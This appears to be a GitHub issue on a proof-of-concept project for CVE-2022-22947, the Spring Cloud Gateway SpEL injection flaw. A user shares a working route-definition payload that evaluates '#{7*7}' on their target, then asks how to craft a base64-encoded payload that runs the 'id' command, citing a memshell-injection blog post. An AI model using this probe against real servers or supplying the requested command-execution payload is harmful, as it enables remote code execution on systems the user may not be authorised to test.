CVE-2022-22947 Spring cloud gateway some problems

[Phoenix1112]

hello. thanks for this project. you are amazing. I need help with some issues.first of all, my target seems to be sensitive to some payloads I use.

request with 7*7 payload

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{7*7}"
    }
  }],
  "uri": "http://example.com",
"order":0
}

response:

{"predicate":"RouteDefinitionRouteLocator$$Lambda$1866/0x0000000840cf8c40","route_id":"test","filters":["[[AddResponseHeader Result = '49'], order = 1]"],"uri":"http://example.com:80","order":0}

In a request like the one above, we can see the result of 49 in the response. but when I try the payloads where I can run the "id" command in the payload, nothing is added to the routes section.When I tried other payloads on the market, the result did not change. Then I started reading your post below.

https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

After reading the above topic, I saw a payload prepared with base64 code.

How did you prepare the base64 code in the payload? for example I need a base64 code from which I can run the "id" command. Can you write how and with what program you did this and the writing of your command? Thank you in advance for your answer.